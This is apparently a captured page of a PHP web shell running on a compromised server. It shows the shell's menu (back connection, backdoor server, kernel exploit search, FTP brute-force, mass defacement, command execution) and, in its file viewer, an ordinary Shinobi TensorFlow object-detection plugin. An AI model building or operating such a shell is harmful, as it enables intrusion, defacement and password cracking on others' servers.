IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ distr/ Shinobi/ plugins/ tensorflow/ - drwxr-xr-x |
Viewing file:
Select action/file-type: module.exports = function(config){ var tfjsSuffix = '' switch(config.tfjsBuild){ case'gpu': tfjsSuffix = '-gpu' var tf = require('@tensorflow/tfjs-node-gpu') break; case'cpu': var tf = require('@tensorflow/tfjs-node') break; default: try{ tfjsSuffix = '-gpu' var tf = require('@tensorflow/tfjs-node-gpu') }catch(err){ console.log(err) } break; } const cocossd = require('@tensorflow-models/coco-ssd'); // const mobilenet = require('@tensorflow-models/mobilenet'); async function loadCocoSsdModal() { const modal = await cocossd.load({ base: config.cocoBase || 'lite_mobilenet_v2', //lite_mobilenet_v2 modelUrl: config.cocoUrl, }) return modal; } // async function loadMobileNetModal() { // const modal = await mobilenet.load({ // version: 1, // alpha: 0.25 | .50 | .75 | 1.0, // }) // return modal; // } function getTensor3dObject(numOfChannels,imageArray) { const tensor3d = tf.node.decodeJpeg( imageArray, numOfChannels ); return tensor3d; } // const mobileNetModel = this.loadMobileNetModal(); var loadCocoSsdModel = { detect: function(){ return {data:[]} } } async function init() { loadCocoSsdModel = await loadCocoSsdModal(); } init() return class ObjectDetectors { constructor(image, type) { this.startTime = new Date(); this.inputImage = image; this.type = type; } async process() { const tensor3D = getTensor3dObject(3,(this.inputImage)); let predictions = await loadCocoSsdModel.detect(tensor3D); tensor3D.dispose(); return { data: predictions, type: this.type, time: new Date() - this.startTime } } } } |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |